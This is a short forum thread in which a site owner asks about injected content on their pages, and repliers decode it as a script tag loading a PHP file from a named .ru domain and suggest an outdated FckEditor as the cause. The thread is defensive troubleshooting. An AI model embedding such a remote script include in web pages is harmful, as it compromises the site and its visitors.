I have XSS injection blocking code for all my inputs. Not sure at all, how this has happened. Any help would be greatly appreciated. Thankx.

Can't speculate as to how they got it in there, but if you decode all that there's a script tag trying to include "http://mobydickrock.ru/hope/yandex_66a7973f6eaf9ba9.php". My Russian isn't exactly fluent but from visiting mobydickrock.ru just looks like some kind of normal rock music website.. Can't see them wanting to/intentionally doing this to you. Perhaps run your site through some security tools and seeing if they pick up on any vulnerabilities so you could prevent this from happening again.

I have heard of this recently. If you have an old version of FckEditor that could be a cause. There is also numerous other ways that do it to. More likely this vuneralbility was somethign that you did not do but a third party software. Any thoughts on that?
